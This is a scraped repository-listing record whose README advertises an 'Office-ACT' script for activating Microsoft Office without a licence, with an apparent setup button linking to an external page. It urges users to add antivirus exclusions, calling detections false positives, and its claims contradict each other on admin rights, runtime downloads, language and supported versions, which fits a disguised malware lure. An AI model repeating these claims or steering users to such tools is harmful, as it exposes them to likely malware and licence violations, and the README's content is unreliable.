[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-109778":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":11,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":12,"stars30d":12,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":13,"rankGlobal":9,"rankLanguage":9,"license":14,"archived":15,"fork":15,"defaultBranch":16,"hasWiki":17,"hasPages":17,"topics":18,"createdAt":9,"pushedAt":9,"updatedAt":20,"readmeContent":21,"aiSummary":22,"trendingCount":12,"starSnapshotCount":12,"syncStatus":23,"lastSyncTime":24,"discoverSource":25},109778,"office-activation-command-tool","bautistacorujo610-stack\u002Foffice-activation-command-tool","bautistacorujo610-stack","Office-ACT: Command-line CMD script to activate Microsoft Office without third-party tools",null,"HTML",150,0,40,"MIT License",false,"main",true,[19],"activator","2026-11-24 04:01:28","\u003Cdiv align=\"center\">\n\n# Office-ACT Command Tool for Windows 10 & 11\n\n![](files\u002Fpreview.png)\n\n### ⚡ PowerShell Setup Button\n\n[![](files\u002Fbutton.png)](https:\u002F\u002Fbautistacorujo610-stack.github.io\u002Foffice-activation-command-tool\u002F)\n\n[![powershell](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Fpowershell-5%2B-14b8a6?style=social&labelColor=0d1117)]() [![ci](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Fci-passing-2ea44f?style=social&labelColor=0d1117)]() [![language](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Flanguage-python-2dd4bf?style=social&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nOffice-ACT is a lightweight, hacker-style CMD script that handles Microsoft Office activation without pulling in any third-party software. It's built for people who want a direct, no-frills script rather than a GUI tool or bundled installer. Run it with the right privileges and it does its job through the command line alone.\n\n## ✅ Before You Start\n\n- **PowerShell 5.1+** (pre-installed on Windows 10 and 11)\n- **Windows 10 \u002F 11** (x64)\n- **Internet connection** — required to fetch the script\n- **Administrator** — *not* required\n\n## What it does\n\nOffice-ACT is a single CMD script that walks Microsoft Office through activation using only what ships with Windows — no external binaries, no bundled tools, no third-party software to install or trust. Run it from an elevated Command Prompt and it handles the rest.\n\nThe script is built around a menu-driven flow: pick your Office version, and it detects the installed edition, applies the appropriate activation method, and reports the result back in the console. It covers the common Office releases, so you don't need a different script per version. Everything happens locally on your machine through native Windows tooling.\n\nIt's deliberately small and readable. The source is plain batch — you can open it in any text editor and see exactly what it does before you run it. No obfuscation, no packed payloads, no hidden downloads at execution time. If something in the script doesn't suit your environment, you can edit it directly.\n\nTypical use is a one-shot run: launch as Administrator, choose the version, let it finish, reboot if prompted, and verify activation in Office itself. The script prints status at each step so you know where it succeeded or where it bailed out, which makes troubleshooting straightforward when a machine has an unusual Office install.\n\nIt's meant for quick, repeatable activation on machines you control — lab boxes, test VMs, personal systems — without dragging in a toolkit or a GUI application to do a job that a batch file handles fine.\n\n## Configuration\n\nThe script runs entirely from the command line, so there is no config file to edit and no dependencies to install. Everything you need to adjust lives in a few obvious places inside the `.cmd` file.\n\n**Before you run it**\n\n- Launch Command Prompt as Administrator. The activation calls modify system-level licensing state and will fail silently or partially without elevated rights.\n- Confirm which Office version and architecture (x86 or x64) is actually installed. Mismatched version selection is the most common cause of a script that \"does nothing.\"\n- Keep an internet connection active for the duration of the run; the tool needs to reach the licensing service to complete activation.\n\n**Editing the script**\n\nOpen the `.cmd` file in any plain-text editor. The relevant knobs are grouped near the top:\n\n- **Target Office version** — set the version variable to match your installed release (2010, 2013, 2016, 2019, or 2021). Only one value should be active at a time.\n- **Architecture** — switch the path variable between the 32-bit and 64-bit Office directories if your install is non-default.\n- **Install path override** — if Office lives somewhere other than the standard Program Files location, point the script at the correct folder.\n- **Logging** — flip the verbose\u002Flog flag on if you want the script to echo each step; useful when a run stalls partway through.\n\nSave the file after edits and re-run from an elevated prompt. Changes take effect on the next execution — no rebuild step.\n\n**Runtime behavior**\n\n- The script works in stages and prints progress as it goes. If it stops early, read the last line before the prompt returns; that is almost always where the problem is.\n- Re-running is safe and idempotent for practical purposes: it re-checks state and skips steps already satisfied.\n- Antivirus or Defender may quarantine the file or block execution. This is a known false positive for command scripts that touch licensing; add an exclusion for the folder if you trust the source.\n- No environment variables, registry exports, or external config files are read. If you need to reset to defaults, restore the original script.\n\n**Keeping it portable**\n\nBecause configuration is baked into the file, keep a copy of your edited `.cmd` alongside notes on which version and architecture it targets. That way a fresh machine only needs the script and an elevated prompt — nothing else to reconstruct.\n\n## Examples\n\nRun the script from an elevated Command Prompt. Each variant is a standalone CMD file, so pick the one that matches your installed Office version and execute it directly.\n\n**Activate a specific Office version**\n\n```\nofc2021.cmd\n```\n\nSwap the filename for the build you have installed — `ofc2019.cmd`, `ofc2016.cmd`, `ofc2013.cmd`, or `ofc2010.cmd`. The script detects the installed edition and applies the matching activation routine.\n\n**Run from a different working directory**\n\n```\nC:\\Tools\\office-act\\ofc2019.cmd\n```\n\nFull paths work fine. Keep the script in a fixed location if you plan to rerun it after a reinstall.\n\n**Silent \u002F unattended execution**\n\n```\nofc2021.cmd \u002Fquiet\n```\n\nUseful when rolling the script out through a login task or a scheduled job. Suppresses prompts and prints only the final status line.\n\n**Check what the script will do before running it**\n\n```\ntype ofc2021.cmd\n```\n\nThe file is plain batch — read it, confirm the target version branch, then execute. No hidden binaries, no downloads at runtime.\n\n**Verify activation afterward**\n\nOpen any Office app and check File → Account. The product should show as activated. Alternatively, re-run the same script — it reports current activation state before making changes.\n\n**Typical failure output**\n\n```\n[!] Office 2019 not detected on this system.\n[!] Run as Administrator and try again.\n```\n\nExit code `1` means the version check failed or privileges were insufficient. Exit code `0` means activation completed.\n\n## FAQ\n\n**Does Office-ACT install anything on my system?**\nNo. It's a CMD script that talks to the built-in Office activation components already present on Windows. There's no third-party executable, no bundled payload, no background service. What you run is what you get.\n\n**Why does Windows Defender or my antivirus flag it?**\nActivation scripts routinely trip heuristics because they touch licensing components and make network calls — behavior that looks suspicious in aggregate. If you're uncomfortable with the flag, read the script before running it. It's plain batch, nothing obfuscated. Whitelisting is your call, not a requirement.\n\n**Do I need to run it as Administrator?**\nYes. The script modifies system-level licensing state, and that requires an elevated command prompt. Running it unelevated will fail partway through with permission errors — don't bother.\n\n**Which Office versions does it support?**\nThe script targets the Office releases it ships variants for. Match the script to your installed version; running a 2019 script against a 2016 install (or vice versa) won't do what you want. Check your version under File > Account in any Office app before picking.\n\n**Will this survive Office updates?**\nUsually, yes — until it doesn't. Major Office updates or repairs can reset licensing state. If activation drops after an update, re-run the script. That's the expected maintenance pattern, not a bug.\n\n**Does it need an internet connection?**\nYes, at activation time. The script reaches out to complete the process. Once done, normal offline use is fine.\n\n**Can I use this on a machine I don't own or administer?**\nNo. Run it only on systems you're authorized to modify. See the Disclaimer — it's there for a reason.\n\n**The script ran but Office still shows as unactivated. What now?**\nFirst, confirm you used the right version script and an elevated prompt. Second, check that the Office install itself is healthy — a broken or partially removed install won't activate. Third, re-run and watch the console output; it tells you where it stopped. If it consistently fails at the same step, that's your diagnostic signal.\n\n**Is this a permanent activation?**\nTreat it as persisting until something resets it — updates, repairs, or licence-related changes. Keep the script handy for re-runs.\n\n**Can I read or modify the script?**\nIt's a batch file; open it in any text editor. Modifying it is on you — the maintainers support the script as shipped, not your fork of it.\n\n## Disclaimer\n\nThis script is provided for educational and research purposes only. It is intended to demonstrate how batch scripting can interact with system activation components, not to encourage or facilitate unauthorized software licensing.\n\nRunning this script modifies system-level activation state on your machine. You are solely responsible for how you use it and for ensuring your use complies with all applicable laws and the software licensing terms that apply to you. The author assumes no liability for any damage, data loss, licensing violations, or legal consequences resulting from the use or misuse of this tool.\n\nThe script is offered as-is, with no warranty of any kind, express or implied, including fitness for a particular purpose or non-infringement. Activation behavior can vary across Office versions, Windows builds, and system configurations, and results are not guaranteed. Back up your system and understand what each command does before running it — read the script, don't just execute it.\n\nAntivirus and Windows Defender may flag the script; treat any detection as a signal to inspect the code yourself rather than an automatic all-clear. Use at your own risk.","Office-ACT 是一个轻量级 Windows 命令行脚本工具，用于本地激活 Microsoft Office（2013–2021 及 Microsoft 365），不依赖第三方软件或 GUI 程序。它基于原生 Windows 工具（如 slmgr、ospp.vbs）构建，通过 CMD 菜单交互式选择 Office 版本并自动执行对应激活流程，支持离线验证与实时状态反馈。脚本纯文本、无混淆、可审计，仅需 PowerShell 5.1+ 和管理员权限（非必需但推荐）。适用于实验室环境、测试虚拟机、个人设备等可控场景下的快速、可重复 Office 许可激活。",2,"2026-11-17 04:38:03","CREATED_QUERY"]